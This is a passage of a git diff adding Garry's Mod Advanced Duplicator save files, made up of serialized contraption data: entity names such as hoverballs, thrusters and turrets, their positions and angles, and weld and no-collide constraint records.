+26:"VehicleMemDupe" +27:"Mass" +28:"mass" +29:"debug/env_cubemap_model" +30:"MaterialOverride" +31:"material" +32:"EntityMods" +33:"Skin" +34:"nocollide" +35:"gmod_hoverball" +36:"strength" +37:"key_d" +38:"key_u" +39:"models/dav0r/hoverball.mdl" +40:"speed" +41:"Models/effects/comball_sphere" +42:"resistance" +43:"damageable" +44:"models/props_combine/combine_fenceglow" +45:"key_bck" +46:"gmod_thruster" +47:"plasma" +48:"effect" +49:"eli_lab.elevator_move" +50:"soundname" +51:"models/dav0r/thruster.mdl" +52:"toggle" +53:"force" +54:"models/weapons/w_mach_m249para.mdl" +55:"prop_physics" +56:"models/dav0r/hoverball" +57:"numbullets" +58:"gmod_turret" +59:"sound" +60:"damage" +61:"models/weapons/w_smg1.mdl" +62:"AirboatGunHeavyTracer" +63:"tracer" +64:"spread" +65:"delay" +66:"models/props_interiors/bathtub01a.mdl" +67:"models/player/shared/gold_player" +68:"models/gibs/gunship_gibs_nosegun.mdl" +69:"Color" +70:"RenderMode" +71:"RenderFX" +72:"colour" +73:"Models/effects/comball_tape" +74:"fire" +75:"WeaponDissolve.Beam" +76:"models/props_junk/metalbucket01a.mdl" +77:"NPC_FloorTurret.Shoot" +78:"forcelimit" +79:"Index" +80:"Bone" +81:"Entity" +82:"deleteonbreak" +83:"Weld" +84:"Type" +85:"NoCollide" +Saved:554 \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/big_one.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/big_one.txt new file mode 100644 index 0000000..26f75a0 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/big_one.txt @@ -0,0 +1,51 @@ +[Info] +Type:AdvDupe File +Creator:"nil" +Date:12/27/09 +Description:"none" +Entities:47 +Constraints:69 +[More Information] +FileVersion:0.84 +AdvDupeVersion:1.84 +AdvDupeToolVersion:1.813 +AdvDupeSharedVersion:1.72 +SerialiserVersion:1.4 +WireVersion:Not Installed +Time:06:45 PM +Head:216 +HoldAngle:0,147.228,0 +HoldPos:9.1925,10.7238,-0.608249 +StartPos:662.557,2644.59,-59.9688 +[Save] +Entities:023198E8{Y:1=A:0.204134,14.6979,359.95;Y:2=V:5.14764,42.0476,15.2146;Y:4=B:t;}023787A8{N:0=T:02323708;}022F7658{N:0=T:02364DC0;}023F57D0{Y:1=A:0.204134,111.451,359.95;Y:2=V:-99.7463,57.4006,15.2146;Y:4=B:t;}02374950{N:0=T:0232E6A8;}0231A360{N:0=T:023605E0;}02301CE8{Y:12=N:20;}024EB040{Y:1=A:0.428546,-113.16,-0.165009;Y:2=V:-36.0598,34.5168,0.402847;Y:3=N:0;Y:5=T:02308548;Y:7=Y:6;Y:9=Y:17;}02323708{Y:1=A:-0.00320399,-160.284,359.983;Y:2=V:-33.2037,-9.80103,0.610916;Y:4=B:t;}023213B8{N:0=T:02307A80;}02323578{Y:12=N:20;}02307A80{Y:1=A:-0.0180158,107.031,7.91707e-006;Y:2=V:-79.5057,13.4263,0.348877;Y:4=B:t;}02329F40{Y:9=Y:18;Y:1=A:-88.2628,-7.53767,90.1098;Y:2=V:-41.2492,24.5085,68.2219;Y:3=N:0;Y:5=T:023BE938;Y:7=Y:6;Y:13=T:02301CE8;}02317098{N:0=T:02376570;}0231A450{Y:1=A:0.204134,44.9444,359.95;Y:2=V:-24.0035,69.0725,15.2146;Y:4=B:t;}02380E30{Y:12=N:20;}023753F0{Y:1=A:-0.022876,128.295,2.12075e-005;Y:2=V:-61.403,50.0488,0.390545;Y:3=N:0;Y:5=T:02395F10;Y:7=Y:6;Y:9=Y:10;}0239BEB0{Y:1=A:-0.022876,-171.3,2.12076e-005;Y:2=V:-53.6016,10.4534,0.390541;Y:4=B:t;}022F79C8{N:0=T:0233A728;}022F7D38{Y:1=A:-0.022876,-154.143,2.12081e-005;Y:2=V:-61.4866,24.209,0.390541;Y:4=B:t;}0231AA90{Y:1=A:-0.0180158,135.862,7.91649e-006;Y:2=V:-63.6722,-9.76172,0.348877;Y:3=N:0;Y:5=T:02350F28;Y:7=Y:6;Y:9=Y:20;}02359650{N:0=T:022FF330;}0233ADE0{Y:1=A:-0.022876,154.385,2.12075e-005;Y:2=V:-68.221,36.4663,0.390541;Y:3=N:0;Y:5=T:02317098;Y:7=Y:6;Y:9=Y:10;}0230DB60{N:0=T:02345718;}023A21E8{N:0=T:02374E50;}023BE938{N:0=T:023AC558;}023BCEF8{Y:9=Y:11;Y:1=A:-33.9509,-7.85945,5.23892;Y:2=V:-22.4543,21.2988,42.2722;Y:3=N:0;Y:5=T:02374950;Y:7=Y:6;Y:13=T:02380E30;}02343788{Y:1=A:-89.4639,-168.357,11.0985;Y:2=V:-117.944,39.687,29.4597;Y:4=B:t;}023398C8{Y:1=A:0.204134,121.356,-0.0499878;Y:2=V:-82.6823,68.3401,15.2146;Y:3=N:0;Y:5=T:02313C90;Y:7=Y:6;Y:9=Y:14;}02364DC0{Y:1=A:-89.4639,-28.4446,11.0984;Y:2=V:23.8381,51.4014,29.4597;Y:4=B:t;}02337780{Y:12=N:20;}02397F90{Y:1=A:-0.022876,-113.195,2.12071e-005;Y:2=V:-39.1313,11.9646,0.390541;Y:4=B:t;}0237AD78{Y:1=A:-89.4639,-13.4098,11.0985;Y:2=V:28.438,29.1516,29.4597;Y:4=B:t;}0231A888{Y:1=A:0.204134,85.9804,-0.0499878;Y:2=V:-43.8138,77.384,15.2146;Y:3=N:0;Y:5=T:0231A928;Y:7=Y:6;Y:9=Y:14;}02337D70{Y:9=Y:19;Y:1=A:-0.118522,-15.7931,-0.362946;Y:2=V:-38.0498,-2.1958,43.4372;Y:3=N:0;Y:5=T:0230DB60;Y:7=Y:6;Y:13=T:02337780;}022F61E0{Y:1=A:-0.0347961,100.751,0.08385;Y:2=V:-66.9731,60.5574,18.0095;Y:4=B:t;}02319550{Y:1=A:0.204134,10.9835,359.95;Y:2=V:9.24933,21.0247,15.2146;Y:4=B:t;}02309A88{Y:1=A:-0.00320399,-102.444,359.983;Y:2=V:-8.49084,11.2874,0.610916;Y:4=B:t;}02322588{Y:9=Y:21;Y:1=A:-86.4696,-165.101,118.835;Y:2=V:-53.7892,6.63379,85.1171;Y:3=N:0;Y:5=T:02318E48;Y:7=Y:6;Y:13=T:02319960;}02334558{N:0=T:02351630;}02319578{N:0=T:02319550;}02350FC8{Y:1=A:-0.0180158,107.031,7.91707e-006;Y:2=V:-79.5057,13.4263,0.348877;Y:3=N:0;Y:5=T:023213B8;Y:7=Y:6;Y:9=Y:20;}0231FE28{N:0=T:0237AD78;}023BD560{Y:1=A:-0.0347961,77.9344,0.08385;Y:2=V:-84.5071,58.8223,18.0095;Y:3=N:0;Y:5=T:02306EF0;Y:7=Y:6;Y:9=Y:8;}023C9400{Y:1=A:-0.0347961,91.2004,0.08385;Y:2=V:-74.003,51.4541,18.0095;Y:4=B:t;}0231A928{N:0=T:0231A900;}02350F28{N:0=T:02328668;}0233A728{Y:1=A:-89.4639,-11.022,11.0985;Y:2=V:23.1693,1.28882,29.4597;Y:4=B:t;}0231A2C0{Y:9=Y:18;Y:1=A:-85.0336,132.981,-85.7241;Y:2=V:-47.5478,44.5999,68.0183;Y:3=N:0;Y:5=T:02305848;Y:7=Y:6;Y:13=T:022F6D70;}023605E0{Y:1=A:-89.4639,-145.539,11.0985;Y:2=V:-108.603,11.6765,29.4597;Y:4=B:t;}02325490{N:0=T:02325A58;}02333A18{Y:1=A:-0.022876,-171.3,2.12076e-005;Y:2=V:-53.6016,10.4534,0.390541;Y:3=N:0;Y:5=T:023212C8;Y:7=Y:6;Y:9=Y:10;}0233B5D8{Y:1=A:-85.0336,132.981,274.276;Y:2=V:-47.5478,44.5999,68.0183;Y:4=B:t;}02319910{N:0=T:023198E8;}0231AC70{N:0=T:0231AC48;}02367908{N:0=T:02337208;}0231CC78{Y:1=A:-0.0347961,88.9014,0.08385;Y:2=V:-75.8761,59.7773,18.0095;Y:3=N:0;Y:5=T:0236DDA8;Y:7=Y:6;Y:9=Y:8;}0232FEB8{Y:1=A:-89.4639,-118.3,11.0985;Y:2=V:-86.3529,-18.4065,29.4597;Y:3=N:0;Y:5=T:02325490;Y:7=Y:6;Y:9=Y:16;}02303610{Y:1=A:-0.0347961,100.751,0.08385;Y:2=V:-66.9731,60.5574,18.0095;Y:3=N:0;Y:5=T:02327C68;Y:7=Y:6;Y:9=Y:8;}0231A040{Y:1=A:0.204134,44.9444,-0.0499878;Y:2=V:-24.0035,69.0725,15.2146;Y:3=N:0;Y:5=T:0231AAB8;Y:7=Y:6;Y:9=Y:14;}02305848{N:0=T:0233B5D8;}02308548{N:0=T:02350EB0;}0231E898{Y:1=A:0.428546,-116.344,-0.165009;Y:2=V:-52.9769,38.6721,0.402847;Y:3=N:0;Y:5=T:0238BA10;Y:7=Y:6;Y:9=Y:17;}0235B158{Y:1=A:-0.022876,-113.195,2.12071e-005;Y:2=V:-39.1313,11.9646,0.390541;Y:3=N:0;Y:5=T:023809F8;Y:7=Y:6;Y:9=Y:10;}0231A900{Y:1=A:0.204134,85.9804,359.95;Y:2=V:-43.8138,77.384,15.2146;Y:4=B:t;}0234D008{N:0=T:02343788;}023015E0{Y:1=A:-0.00320399,-102.444,-0.0169983;Y:2=V:-8.49084,11.2874,0.610916;Y:3=N:0;Y:5=T:0230A208;Y:7=Y:6;Y:9=Y:15;}023212C8{N:0=T:0239BEB0;}02399DE0{N:0=T:0236E3E8;}0236E3E8{Y:1=A:-0.0347961,94.7384,0.08385;Y:2=V:-71.9178,65.6443,18.0095;Y:4=B:t;}023E06A0{Y:1=A:-0.0347961,109.949,0.08385;Y:2=V:-61.9609,67.0996,18.0095;Y:3=N:0;Y:5=T:022FEDE0;Y:7=Y:6;Y:9=Y:8;}02328668{Y:1=A:-0.0180158,135.862,7.91649e-006;Y:2=V:-63.6722,-9.76172,0.348877;Y:4=B:t;}022FA3A8{Y:1=A:-0.00320399,-26.0319,359.983;Y:2=V:-39.7856,57.8494,0.610916;Y:4=B:t;}02302508{Y:1=A:0.204134,121.356,359.95;Y:2=V:-82.6823,68.3401,15.2146;Y:4=B:t;}023709B8{Y:1=A:-89.4639,-28.4446,11.0984;Y:2=V:23.8381,51.4014,29.4597;Y:3=N:0;Y:5=T:022F7658;Y:7=Y:6;Y:9=Y:16;}02319870{Y:1=A:0.204134,14.6979,-0.0499878;Y:2=V:5.14764,42.0476,15.2146;Y:3=N:0;Y:5=T:02319910;Y:7=Y:6;Y:9=Y:14;}02319C30{Y:1=A:0.204134,68.2925,-0.0499878;Y:2=V:-5.29846,59.4536,15.2146;Y:3=N:0;Y:5=T:02319D98;Y:7=Y:6;Y:9=Y:14;}023CEF40{N:0=T:02351D38;}0231B878{Y:1=A:0.204134,68.2925,359.95;Y:2=V:-5.29846,59.4536,15.2146;Y:4=B:t;}022FA7B8{Y:1=A:-89.4639,-11.022,11.0985;Y:2=V:23.1693,1.28882,29.4597;Y:3=N:0;Y:5=T:022F79C8;Y:7=Y:6;Y:9=Y:16;}02313C90{N:0=T:02302508;}02307D00{Y:1=A:-0.0347961,77.9344,0.08385;Y:2=V:-84.5071,58.8223,18.0095;Y:4=B:t;}0236BA08{Y:1=A:0.428546,-108.561,-0.165009;Y:2=V:-45.7044,25.9387,0.402847;Y:3=N:0;Y:5=T:0237AC10;Y:7=Y:6;Y:9=Y:17;}022FEDE0{N:0=T:02315C98;}02322290{Y:1=A:-89.4639,-60.46,11.0986;Y:2=V:-5.29712,-17.5459,29.4597;Y:3=N:0;Y:5=T:023318A8;Y:7=Y:6;Y:9=Y:16;}0237AC10{N:0=T:02316008;}023AF208{Y:1=A:-0.0347961,123.215,0.08385;Y:2=V:-53.0868,69.5876,18.0095;Y:3=N:0;Y:5=T:022FAC90;Y:7=Y:6;Y:9=Y:8;}0236DDA8{N:0=T:022F99F8;}H02354010{N:106=T:02302030;N:211=T:0231CC78;N:212=T:02333A18;N:76=T:022F6AF0;N:214=T:02319C30;N:215=T:023194D8;N:216=T:023015E0;N:217=T:0233ADE0;N:94=T:0239DB70;N:218=T:024EB040;N:219=T:023E6FA0;N:95=T:0231A2C0;N:220=T:023398C8;N:80=T:023275D8;N:222=T:02313BF0;N:65=T:02337D70;N:81=T:0232FEB8;N:192=T:0231A040;N:193=T:023E06A0;N:98=T:02329F40;N:164=T:023BD560;N:165=T:02303610;N:68=T:0231AA90;N:84=T:023BCEF8;N:100=T:02343198;N:167=T:0236F888;N:168=T:023753F0;N:101=T:023709B8;N:169=T:0236BA08;N:170=T:0235B158;N:26=T:02319870;N:171=T:0231ABD0;N:71=T:023AF208;N:221=T:0231A888;N:103=T:02309E48;N:75=T:02350FC8;N:83=T:022F7108;N:209=T:02317FC0;N:104=T:022FA7B8;N:166=T:0230EE48;N:73=T:02322290;N:213=T:0231E898;N:79=T:02322588;N:194=T:02310C20;N:74=T:0234F6C8;N:107=T:022F97A0;N:210=T:02307CB0;}02307CB0{Y:1=A:0.428546,-105.024,-0.165009;Y:2=V:-30.0226,19.3276,0.402847;Y:3=N:0;Y:5=T:02384350;Y:7=Y:6;Y:9=Y:17;}023C7290{Y:1=A:0.428546,-105.024,359.835;Y:2=V:-30.0226,19.3276,0.402847;Y:4=B:t;}02319960{Y:12=N:20;}02318E48{N:0=T:02318DD0;}022FF330{Y:1=A:-0.00320399,-71.8438,359.983;Y:2=V:-15.2458,42.751,0.61092;Y:4=B:t;}023620C0{Y:1=A:-89.4639,-60.46,11.0986;Y:2=V:-5.29712,-17.5459,29.4597;Y:4=B:t;}0236F888{Y:1=A:-0.022876,-154.143,2.12081e-005;Y:2=V:-61.4866,24.209,0.390541;Y:3=N:0;Y:5=T:024E9C68;Y:7=Y:6;Y:9=Y:10;}022F97A0{Y:1=A:-0.00320399,-71.8438,-0.0169983;Y:2=V:-15.2458,42.751,0.61092;Y:3=N:0;Y:5=T:02359650;Y:7=Y:6;Y:9=Y:15;}0230EE48{Y:1=A:-0.0347961,112.426,0.08385;Y:2=V:-58.0276,61.8315,18.0095;Y:3=N:0;Y:5=T:023CEF40;Y:7=Y:6;Y:9=Y:8;}0234F6C8{Y:9=Y:21;Y:1=A:-88.5476,-3.56493,-88.1916;Y:2=V:-37.7446,28.7549,84.7812;Y:3=N:0;Y:5=T:023A21E8;Y:7=Y:6;Y:13=T:02323578;}023194D8{Y:1=A:0.204134,10.9835,-0.0499878;Y:2=V:9.24933,21.0247,15.2146;Y:3=N:0;Y:5=T:02319578;Y:7=Y:6;Y:9=Y:14;}02346D48{N:0=T:023F57D0;}02363B00{Y:1=A:-0.022876,128.295,2.12075e-005;Y:2=V:-61.403,50.0488,0.390545;Y:4=B:t;}02318DD0{Y:1=A:-86.4696,-165.101,118.835;Y:2=V:-53.7892,6.63379,85.1171;Y:4=B:t;}0239DB70{Y:1=A:-89.4639,-145.539,11.0985;Y:2=V:-108.603,11.6765,29.4597;Y:3=N:0;Y:5=T:0231A360;Y:7=Y:6;Y:9=Y:16;}02384350{N:0=T:023C7290;}0230D688{Y:1=A:0.428546,-116.344,359.835;Y:2=V:-52.9769,38.6721,0.402847;Y:4=B:t;}02340D30{N:0=T:023C8B68;}023E6FA0{Y:1=A:-0.00320399,-26.0319,-0.0169983;Y:2=V:-39.7856,57.8494,0.610916;Y:3=N:0;Y:5=T:023692A8;Y:7=Y:6;Y:9=Y:15;}02325A58{Y:1=A:-89.4639,-118.3,11.0985;Y:2=V:-86.3529,-18.4065,29.4597;Y:4=B:t;}02316008{Y:1=A:0.428546,-108.561,359.835;Y:2=V:-45.7044,25.9387,0.402847;Y:4=B:t;}023318A8{N:0=T:023620C0;}02313BF0{Y:1=A:-0.0347961,94.7384,0.08385;Y:2=V:-71.9178,65.6443,18.0095;Y:3=N:0;Y:5=T:02399DE0;Y:7=Y:6;Y:9=Y:8;}023AC558{Y:1=A:-88.2628,-7.53767,90.1098;Y:2=V:-41.2492,24.5085,68.2219;Y:4=B:t;}02309E48{Y:1=A:-89.4639,-13.4098,11.0985;Y:2=V:28.438,29.1516,29.4597;Y:3=N:0;Y:5=T:0231FE28;Y:7=Y:6;Y:9=Y:16;}023275D8{Y:1=A:-89.4639,-80.801,11.0984;Y:2=V:-42.8271,-35.5613,29.4597;Y:3=N:0;Y:5=T:02367908;Y:7=Y:6;Y:9=Y:16;}02351D38{Y:1=A:-0.0347961,112.426,0.08385;Y:2=V:-58.0276,61.8315,18.0095;Y:4=B:t;}0231AAB8{N:0=T:0231A450;}02376570{Y:1=A:-0.022876,154.385,2.12075e-005;Y:2=V:-68.221,36.4663,0.390541;Y:4=B:t;}023C8B68{Y:1=A:-31.9541,-179.592,0.636581;Y:2=V:-68.885,27.9609,39.4448;Y:4=B:t;}022F6AF0{Y:9=Y:11;Y:1=A:-31.9541,-179.592,0.636581;Y:2=V:-68.885,27.9609,39.4448;Y:3=N:0;Y:5=T:02340D30;Y:7=Y:6;Y:13=T:023582F0;}02374E50{Y:1=A:-88.5476,-3.56493,271.808;Y:2=V:-37.7446,28.7549,84.7812;Y:4=B:t;}02343198{Y:1=A:-89.4639,-168.357,11.0985;Y:2=V:-117.944,39.687,29.4597;Y:3=N:0;Y:5=T:0234D008;Y:7=Y:6;Y:9=Y:16;}02310C20{Y:1=A:0.204134,111.451,-0.0499878;Y:2=V:-99.7463,57.4006,15.2146;Y:3=N:0;Y:5=T:02346D48;Y:7=Y:6;Y:9=Y:14;}02351630{Y:1=A:-0.0180158,65.6413,7.91699e-006;Y:2=V:-89.8018,41.4058,0.348877;Y:4=B:t;}022F7108{Y:1=A:-0.0180158,65.6413,7.91699e-006;Y:2=V:-89.8018,41.4058,0.348877;Y:3=N:0;Y:5=T:02334558;Y:7=Y:6;Y:9=Y:20;}0238BA10{N:0=T:0230D688;}02317FC0{Y:1=A:-0.00320399,-160.284,-0.0169983;Y:2=V:-33.2037,-9.80103,0.610916;Y:3=N:0;Y:5=T:023787A8;Y:7=Y:6;Y:9=Y:15;}0230A208{N:0=T:02309A88;}0231AC48{Y:1=A:0.204134,96.7704,359.95;Y:2=V:-63.6877,75.9875,15.2146;Y:4=B:t;}023582F0{Y:12=N:20;}022F6D70{Y:12=N:20;}02305500{N:0=T:023C9400;}02315C98{Y:1=A:-0.0347961,109.949,0.08385;Y:2=V:-61.9609,67.0996,18.0095;Y:4=B:t;}02337208{Y:1=A:-89.4639,-80.801,11.0984;Y:2=V:-42.8271,-35.5613,29.4597;Y:4=B:t;}02345718{Y:1=A:-0.118522,-15.7931,359.637;Y:2=V:-38.0498,-2.1958,43.4372;Y:4=B:t;}023692A8{N:0=T:022FA3A8;}02302030{Y:1=A:-0.0347961,91.2004,0.08385;Y:2=V:-74.003,51.4541,18.0095;Y:3=N:0;Y:5=T:02305500;Y:7=Y:6;Y:9=Y:8;}02395F10{N:0=T:02363B00;}022F99F8{Y:1=A:-0.0347961,88.9014,0.08385;Y:2=V:-75.8761,59.7773,18.0095;Y:4=B:t;}02319D98{N:0=T:0231B878;}022FAC90{N:0=T:023352C8;}023809F8{N:0=T:02397F90;}024E9C68{N:0=T:022F7D38;}02350EB0{Y:1=A:0.428546,-113.16,359.835;Y:2=V:-36.0598,34.5168,0.402847;Y:4=B:t;}0232E6A8{Y:1=A:-33.9509,-7.85945,5.23892;Y:2=V:-22.4543,21.2988,42.2722;Y:4=B:t;}02306EF0{N:0=T:02307D00;}02327C68{N:0=T:022F61E0;}023352C8{Y:1=A:-0.0347961,123.215,0.08385;Y:2=V:-53.0868,69.5876,18.0095;Y:4=B:t;}0231ABD0{Y:1=A:0.204134,96.7704,-0.0499878;Y:2=V:-63.6877,75.9875,15.2146;Y:3=N:0;Y:5=T:0231AC70;Y:7=Y:6;Y:9=Y:14;} +Constraints:023918E8{T:023016A8;T:02351FE0;}0233AE30{T:0234C798;T:02341B40;}02337050{Y:24=T:02336F88;Y:26=Y:25;Y:27=N:0;}02449F10{Y:22=N:220;Y:23=N:0;}02340718{Y:22=N:217;Y:23=N:0;}023388B0{T:0231B300;T:02322AB0;}02319F78{Y:24=T:0231A540;Y:26=Y:25;Y:27=N:0;}02361918{Y:22=N:103;Y:23=N:0;}02395920{T:0235A348;T:023B8E48;}023169E0{T:024607D8;T:022FCEC8;}02309A60{Y:24=T:0233DEC8;Y:26=Y:25;Y:27=N:0;}02309CE0{Y:22=N:95;Y:23=N:0;}02361738{Y:24=T:0234F768;Y:26=Y:25;Y:27=N:0;}023C7100{T:0230E8D0;T:022F7A40;}02321FE8{Y:22=N:98;Y:23=N:0;}023B22F0{T:022FEE58;T:02349610;}02306BA8{Y:22=N:169;Y:23=N:0;}02319758{T:02319B90;T:02319D70;}023519A0{Y:22=N:213;Y:23=N:0;}0236A090{Y:24=T:023817E0;Y:26=Y:25;Y:27=N:0;}023C89D8{T:024EBD88;T:023642D0;}02381380{Y:22=N:73;Y:23=N:0;}024EBD88{Y:22=N:165;Y:23=N:0;}02319AC8{Y:22=N:214;Y:23=N:0;}0237A8A0{T:0232F3F0;T:02306BA8;}022FF8F8{Y:24=T:023A2670;Y:26=Y:25;Y:27=N:0;}0231BCB0{Y:22=N:209;Y:23=N:0;}0233DB58{T:022FB078;T:023078F0;}0231A4F0{Y:22=N:192;Y:23=N:0;}0231BF08{Y:24=T:02516560;Y:26=Y:25;Y:27=N:0;}0245E910{Y:22=N:75;Y:23=N:0;}02340B78{Y:24=T:023918E8;Y:26=Y:25;Y:27=N:0;}02350938{Y:24=T:02371570;Y:26=Y:25;Y:27=N:0;}0231AE28{Y:24=T:0231AE00;Y:26=Y:25;Y:27=N:0;}0237AA80{T:02300410;T:022FD878;}02325B98{Y:22=N:213;Y:23=N:0;}02341B68{Y:22=N:65;Y:23=N:0;}0234D698{T:022FC950;T:0236D2B8;}02316F30{Y:22=N:211;Y:23=N:0;}023439B8{T:023860B0;T:023E96D8;}023405D8{Y:24=T:0237AA80;Y:26=Y:25;Y:27=N:0;}02380598{Y:22=N:81;Y:23=N:0;}023471D0{Y:22=N:75;Y:23=N:0;}023A4DD0{Y:22=N:68;Y:23=N:0;}023177A0{Y:24=T:0231BB20;Y:26=Y:25;Y:27=N:0;}02302E40{T:0233E6C0;T:0235B6D0;}02325828{Y:22=N:107;Y:23=N:0;}022FBFF0{Y:24=T:0234D698;Y:26=Y:25;Y:27=N:0;}0230D548{T:022F9840;T:0231E758;}02319CA8{Y:22=N:214;Y:23=N:0;}02362408{Y:24=T:02395920;Y:26=Y:25;Y:27=N:0;}02308CF0{Y:24=T:0237A8A0;Y:26=Y:25;Y:27=N:0;}023A8D18{Y:24=T:0232BA48;Y:26=Y:25;Y:27=N:0;}0231F5E0{Y:22=N:168;Y:23=N:0;}0231F298{T:0234A998;T:02335160;}0230D660{Y:22=N:71;Y:23=N:0;}02319F00{Y:22=N:192;Y:23=N:0;}0232BA48{T:0232AE40;T:0232F2D8;}023078F0{Y:22=N:164;Y:23=N:0;}02344458{Y:24=T:0233DB58;Y:26=Y:25;Y:27=N:0;}02465DC8{Y:22=N:209;Y:23=N:0;}02454050{T:022F6AA0;T:02325828;}02355708{T:02325B98;T:0234E9D0;}02319280{Y:22=N:26;Y:23=N:0;}0233F9F8{Y:24=T:022754A0;Y:26=Y:25;Y:27=N:0;}0231A130{Y:22=N:68;Y:23=N:0;}023D7CA8{Y:22=N:212;Y:23=N:0;}02338108{Y:22=N:84;Y:23=N:0;}02338B08{Y:24=T:02338158;Y:26=Y:25;Y:27=N:0;}023C2128{T:02340718;T:023ABE78;}023330E0{Y:24=T:023C2128;Y:26=Y:25;Y:27=N:0;}0231B300{Y:22=N:216;Y:23=N:0;}023193C0{Y:24=T:02319370;Y:26=Y:25;Y:27=N:0;}0234F768{T:02377100;T:02465DC8;}022F6AA0{Y:22=N:169;Y:23=N:0;}02371570{T:02345AD8;T:02395498;}02322010{T:02321FE8;T:02321FC0;}0231AD60{Y:22=N:220;Y:23=N:0;}022F7A40{Y:22=N:104;Y:23=N:0;}0231BB20{T:023E4BD8;T:02355B18;}02370670{Y:24=T:02375580;Y:26=Y:25;Y:27=N:0;}0239EE30{Y:24=T:0231F298;Y:26=Y:25;Y:27=N:0;}02330868{Y:24=T:023DB6A0;Y:26=Y:25;Y:27=N:0;}0231EA78{Y:22=N:219;Y:23=N:0;}02377128{Y:22=N:95;Y:23=N:0;}022FD878{Y:22=N:107;Y:23=N:0;}02305730{Y:22=N:71;Y:23=N:0;}02343D50{T:02310E50;T:02315D88;}02321FC0{Y:22=N:84;Y:23=N:0;}0238AED0{Y:22=N:74;Y:23=N:0;}023A6E00{Y:24=T:023A2BE8;Y:26=Y:25;Y:27=N:0;}022FC388{Y:22=N:193;Y:23=N:0;}02342E00{Y:22=N:165;Y:23=N:0;}02359010{T:023A1C98;T:02381380;}02361DF0{Y:24=T:023C89D8;Y:26=Y:25;Y:27=N:0;}023817E0{T:02364208;T:02316F30;}02326980{Y:24=T:023A14A0;Y:26=Y:25;Y:27=N:0;}0230F528{T:02339DC8;T:025145D0;}0235AF00{Y:24=T:02355938;Y:26=Y:25;Y:27=N:0;}0231EC58{Y:22=N:194;Y:23=N:0;}0232F3F0{Y:22=N:218;Y:23=N:0;}023A7BC0{T:023560B8;T:0245E910;}0231C638{Y:22=N:222;Y:23=N:0;}0236CA20{Y:22=N:168;Y:23=N:0;}024DB668{T:0236DC68;T:023471D0;}02300988{Y:24=T:02308098;Y:26=Y:25;Y:27=N:0;}02501598{Y:22=N:212;Y:23=N:0;}02305050{Y:22=N:218;Y:23=N:0;}0236ECF8{Y:22=N:98;Y:23=N:0;}022FEE58{Y:22=N:76;Y:23=N:0;}0231F590{Y:24=T:02332FF0;Y:26=Y:25;Y:27=N:0;}023C1DB8{T:023519A0;T:0231F5E0;}0239E3B8{Y:22=N:75;Y:23=N:0;}023B8E48{Y:22=N:216;Y:23=N:0;}023325A0{Y:24=T:02359010;Y:26=Y:25;Y:27=N:0;}02313B78{Y:22=N:98;Y:23=N:0;}0235A550{Y:22=N:216;Y:23=N:0;}023016A8{Y:22=N:94;Y:23=N:0;}02364208{Y:22=N:106;Y:23=N:0;}02345AD8{Y:22=N:98;Y:23=N:0;}0236D2B8{Y:22=N:106;Y:23=N:0;}023283E8{T:0239E3B8;T:024BF0A8;}02344BD8{Y:22=N:168;Y:23=N:0;}02319370{T:02402B38;T:02319320;}02342928{Y:22=N:194;Y:23=N:0;}0230A1B8{Y:22=N:166;Y:23=N:0;}02398210{Y:22=N:210;Y:23=N:0;}023642D0{Y:22=N:166;Y:23=N:0;}02339760{T:0231C638;T:02342E00;}022FB190{T:0233A2C8;T:02305730;}023285C8{Y:24=T:02341118;Y:26=Y:25;Y:27=N:0;}0235A370{Y:22=N:167;Y:23=N:0;}025145D0{Y:22=N:74;Y:23=N:0;}023E96D8{Y:22=N:217;Y:23=N:0;}0231EC30{Y:22=N:83;Y:23=N:0;}0231A1F8{Y:24=T:024DB668;Y:26=Y:25;Y:27=N:0;}02322218{Y:22=N:80;Y:23=N:0;}0236EF78{Y:24=T:02355708;Y:26=Y:25;Y:27=N:0;}0233A2C8{Y:22=N:193;Y:23=N:0;}0233CAA0{Y:24=T:0233AE30;Y:26=Y:25;Y:27=N:0;}02375580{T:0232EEF0;T:0236FD38;}0231EBB8{T:0231F798;T:0231EA78;}02319D70{Y:22=N:26;Y:23=N:0;}022F7068{Y:24=T:023388B0;Y:26=Y:25;Y:27=N:0;}02300410{Y:22=N:219;Y:23=N:0;}023865D8{Y:24=T:02454050;Y:26=Y:25;Y:27=N:0;}02326958{Y:22=N:219;Y:23=N:0;}0231F338{Y:24=T:0230D548;Y:26=Y:25;Y:27=N:0;}0231A9C8{Y:22=N:171;Y:23=N:0;}02339DC8{Y:22=N:65;Y:23=N:0;}0230FC08{Y:22=N:210;Y:23=N:0;}02327970{Y:22=N:68;Y:23=N:0;}023965C8{Y:22=N:83;Y:23=N:0;}0235A348{Y:22=N:104;Y:23=N:0;}024FD768{Y:24=T:0230F528;Y:26=Y:25;Y:27=N:0;}0231A400{T:02319280;T:02319AC8;}02341B40{Y:22=N:83;Y:23=N:0;}0231F450{Y:22=N:168;Y:23=N:0;}0231A5E0{T:0231A4F0;T:0231A4C8;}02335160{Y:22=N:68;Y:23=N:0;}0231A1D0{Y:24=T:0231A1A8;Y:26=Y:25;Y:27=N:0;}0232F2D8{Y:22=N:94;Y:23=N:0;}02516560{T:023965C8;T:02344BD8;}02351FE0{Y:22=N:100;Y:23=N:0;}0231A1A8{T:0231A158;T:0231A130;}02341CD0{T:02325120;T:023A4DD0;}02395498{Y:22=N:209;Y:23=N:0;}023DC028{T:023DA9D0;T:02338108;}0234E9D0{Y:22=N:209;Y:23=N:0;}023F71C0{Y:22=N:101;Y:23=N:0;}022FA358{T:023CF878;T:023C9A40;}02341118{T:023649D8;T:02327970;}02319B90{Y:22=N:215;Y:23=N:0;}0231A4C8{Y:22=N:221;Y:23=N:0;}0236DC68{Y:22=N:68;Y:23=N:0;}0231F360{Y:22=N:166;Y:23=N:0;}02319780{Y:24=T:02319758;Y:26=Y:25;Y:27=N:0;}024BF0A8{Y:22=N:83;Y:23=N:0;}023E4BD8{Y:22=N:74;Y:23=N:0;}0227BB70{Y:22=N:216;Y:23=N:0;}02322358{Y:24=T:02322010;Y:26=Y:25;Y:27=N:0;}0232FFF8{Y:24=T:023169E0;Y:26=Y:25;Y:27=N:0;}0233E6C0{Y:22=N:74;Y:23=N:0;}0233DAE0{T:02387C08;T:02380598;}02344700{Y:24=T:023439B8;Y:26=Y:25;Y:27=N:0;}02301928{